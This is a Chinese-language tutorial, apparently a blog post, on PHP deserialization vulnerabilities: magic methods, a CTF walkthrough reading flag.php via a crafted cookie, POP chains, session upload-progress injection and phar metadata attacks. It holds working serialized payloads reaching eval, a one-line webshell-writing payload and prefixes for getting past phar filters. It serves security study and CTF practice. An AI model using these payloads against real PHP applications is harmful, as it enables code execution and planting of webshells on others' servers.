前言


什么是序列化?

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】

简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中

什么是反序列化?

顾名思义就是序列化的反过程,也就是把符合规则的字符串或者说状态信息重新重新拿出来使用,使之重新变为一个对象或者其他

所需函数

serialize()函数,将对象进行序列化,用法如下

unserialize()函数,将状态信息进行反序列化,

注意:当一个对象被反序列化并且它的类定义没有存在,它成为“__PHP_Incomplete_Class”的实例

小扩展

多种序列化与反序列化方法

  • serialize和unserialize函数
  • json_encode和ison_decode函数
  • var_export和eval函数:var_export 函数把变量作为一个字符串输出;eval把字符串当成PHP代码来执行,反序列化得到最初变量的内容
  • wddx_serialize_value 和 wddx deserialize函数:wddx_serialize_value函数可以序列化数组变量,并以XML字符串形式输出

具体可参考:https://www.cnblogs.com/wuheng1991/p/5780431.html

反序列化漏洞


反序列化漏洞也可以称之为对象注入,

本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的,当然极其重要不可忽视的一点当然还是参数可控

反序列化中类的私有属性序列化后会多一个%00,如下

PHP中的魔术方法

PHP中把以两个下划线__开头的方法称为魔术方法,这些方法在PHP中充当了举足轻重的作用。 魔术方法包括

  • __construct(),类的构造函数,当对象创建(new)时会自动调用
  • __destruct(),类的析构函数,当对象被销毁时会自动调用
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用

PHP中的魔术常量

PHP中的常量大部分都是不变的,但是有8个常量会随着他们所在代码位置的变化而变化,这8个常量被称为魔术常量。

  • __LINE__,文件中的当前行号
  • __FILE__,文件的完整路径和文件名
  • __DIR__,文件所在的目录
  • __FUNCTION__,函数名称
  • __CLASS__,类的名称
  • __TRAIT__,Trait的名字
  • __METHOD__,类的方法名
  • __NAMESPACE__,当前命名空间的名称

实例展示

__construct()、__destruct()和__wakeup()函数,如下

__callStatic()和__call()函数,这两个魔术方法需要参数

__tostring()和__set()函数,如下

其余的不在一一介绍

漏洞实例


下面分析一个漏洞实例

首先,根据提示,我们知道我们要获取同目录下flag文件的内容,当然前提是flag文件我们是无法直接访问或者访问根本不会有东西,而这时候就需要代码帮我们去读取其他文件了,代码中定义了readme类,正好参数source是一个变量,接下来我们应该是想办法让source参数的值变为flag.php,此处介绍反序列化漏洞,不再扯其他

如果会出现反序列化漏洞,那么一定需要传参,这里代码高亮以后有三处接受传参,分别是GET、COOKIE和POST

其中get传参部分负责把代码高亮显示,cookie接受的参数是todos,post接受的参数是text

而且我们知道热的么类中存在一个魔术方法__toString(),所以我们需要去寻找对象被当作字符串输出的位置,共两处,如下图

而第一处的source的值是固定的,我们无法改变,并且再测试过程中我们不能触发exit,这就是我们不能有get和post传参,那么现在能利用的点只剩下了一个,分析代码

再通过foreach遍历todos,并输出todo,这个时候就触发了魔术方法,这个时候source的值就需要是flag.php我们才能达成目标,但正常的传参肯定达不到我们的目的,编写代码,直接定义source,在进行序列化,由于foreach遍历数据,所以还要把对象存到数组里进行序列化,代码结果如下

对其进行md5编码为e2d4f7dcc43ee1db7f69e76303d0105c,与源字符串拼接,则编码后的字符串为变量h,原字符串为变量m

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

由于需要通过burp抓包修改cookie,所以需要进行url编码

e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d

抓包,添加cookie,放包

成功读取flag.php文件,如下图

其余实例可参考文章:https://cloud.tencent.com/developer/news/88891

扩展部分


POP链与反序列化

什么是POP链?

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,原理是从现有的运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链

POP链的基本概念是寻找程序当前环境中已经定义或者能够动态加载的对象中的属性(函数方法),将一些可能调用组合在一起形成一个完整的具有目的性的操作

小扩展:与ROP(面向返回变成)不一样的地方在于,ROP是寻找当前系统环境中或者内存环境中已经存在或者具有固定地址且带有返回操作的指令集

如何构造POP链?

POP链的利用

如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "hello";
    }
}
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
unserialize($_GET['d']);

在上面的代码中,lemon类的构造函数时用来调用normal类的,把normal类实例化,然后再析构方法中调用上面卑实例化的类里面的方法action,但是nomal类中的action方法只是输出一个hello,对我们并没有什么用,这个时候我们发现在evil类中,同样存在action方法且我们可以自己设置参数data的值,并且参数值会被eval函数当成代码执行,这个时候就需要用到POP链

构造代码如下,让lemon去调用evil类

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";

结果如下图

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D 

成功执行phpinfo,我们还可以把phpinfo换成 $a = '<?php @eval($_REQUEST[\'a\'])?>';file_put_contents('1.php',$a),即可成功生成一个木马文件

参考文章:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

参考文章:https://www.cnblogs.com/wfzWebSecuity/p/11156279.html

实例文章:https://www.anquanke.com/post/id/170714

实例文章:https://www.freebuf.com/column/203767.html

PHP_SESSION与反序列化

利用session进行反序列化,首先要了解session序列化机制

推荐文章:https://mochazz.github.io/2019/01/29/PHP反序列化入门之session反序列化/

一些参数及含义

Directive含义
session.save_handlersession保存形式。默认为files
session.save_pathsession保存路径。
session.serialize_handlersession序列化存储所用处理器。默认为php。
session.upload_progress.cleanup一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled将上传文件的进度信息存在session中。默认开启。

查看目前配置,我的session.serialize_handler参数是php_serialize,如下

尝试demo,然后去查看session文件,代码如下

<?php
session_start();
$_SESSION['name'] = 'mochazz';
var_dump($_SESSION);
?>

当session.serialize_handler参数是php,在php.ini中修改参数值

php的session存储与读取是一个序列化跟反序列化的过程

其中有三种模式,分别是php_binary、php、php_serialize

这几个模式的存储方式不太一样,这也是会导致反序列化漏洞的根源

漏洞测试

首先,要设置session.upload_progress.cleanup参数问Off,不然信息会立刻被清理

再把session_serialize_handler设置为php_serialize

编写代码如下(ctf题)

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php'); //这里是把这个页面的handler设置为了php,但是其他的仍然是php_serialize
session_start();
class OowoO{
    public $mdzz;
    function __construct(){
        $this->mdzz = 'phpinfo();';
    }
    function __destruct(){
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo'])){
    $m = new OowoO();
}
else{
    highlight_string(file_get_contents('index.php'));
}
?>

session的各项参数值如下图

下一步我们就该思考如何通过反序列化替换掉源程序中的phpinfo字符串,没有unserialize,但是该页面调用了session_start()函数,,可以使用session反序列化,序列化字符串生成demo如下

<?php 
class OowoO{
    public $mdzz;
    function __construct(){
        $this->mdzz = 'phpinfo();';
    }
    function __destruct(){
        eval($this->mdzz);
    }
}
$a=new OowoO();
$a->mdzz="var_dump(scandir('./'));"; //浏览目录结构及文件
echo serialize($a);

test.php页面并没有重新设置session_serialize_handler的值所以最后序列化完成的字符串是

O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}

通过什么方式传进index.php呢?

通过PHP_SESSION_UPLOAD_PROGRESS来伪造session

session读取post数据,存进session文件中,而index页面读取session,但是index页面session的处理机制会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化

编写post表单

<form action="index.php" method="POST" enctype="multipart/form-data">        
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />        
    <input type="file" name="file" />        
    <input type="submit" />
</form>

抓包,修改数据,放包后成功获取目录结构,如下

尝试使用file_get_contents()函数读取本地的flag.php,如下

phar伪协议与反序列化

什么是phar伪协议?

属于php伪协议的一种,phar协议的作用就是归档

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行

phar 文件包在生成时会以序列化的形式存储用户自定义的 meta-data

phar文件的格式

翻阅手册可以知道,phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only),以下是对详细的介绍:

  • stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>
  • manifest 压缩文件的属性等信息,以序列化存储
  • contents 压缩文件的内容
  • signature 签名,放在文件末尾

注意:

  1. 文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制
  2. 我们所需的攻击利用点meta-data序列化信息也在这第二部分中
  3. phar协议支持的函数如下((https://paper.seebug.org/680/))

其他支持函数,文章可参考:http://www.sohu.com/a/322254125_354899

phar文件生成

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类。

注意:需要将php.ini中的phar.readonly设置成off

//sc.php
<?php
require_once('demo.php');
$exception = new Evil('phpinfo()');
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

//demo.php
<?php
class Evil {
    protected $val;
    function __construct($val){
        $this->val = $val;
    }
    function __wakeup() {
        assert($this->val);
    }
}
?>

meta-data已经以序列化的形式存在phar文件中

meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞

反序列化

<?php
require_once('demo.php');
if ( file_exists($_REQUEST['url']) ) {
    echo 'success!';
} else {
    echo 'error!';
}
?>

利用条件:

  • phar 文件要能够上传到服务器端
  • 如 file_exists,fopen,file_get_contents,file 等文件操作的函数
  • 要有可用的魔术方法作为「跳板」
  • 文件操作函数的参数可控,且:、/、phar 等特殊字符没有被过滤

如果前几个字符限制了phar怎么办?

如果phar://不能出现在头几个字符,可以在最前面加

  • compress.bzip2://
  • compress.zlib:// compress.zip
  • php://filter/resource=phar://

其他拓展:https://www.cnblogs.com/cimuhuashuimu/p/11544472.html

参考文章:https://www.cnblogs.com/wfzWebSecuity/p/11156279.html

参考文章:http://www.sohu.com/a/322254125_354899

参考文章:https://www.jianshu.com/p/0cfc98f72e52

参考文章:https://www.uchuanbo.com/newslists/show_125937.html

其他无需魔术方法限制条件的方法:https://blog.csdn.net/SKI_12/article/details/85551194

截个图,要尝试复现的

 

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐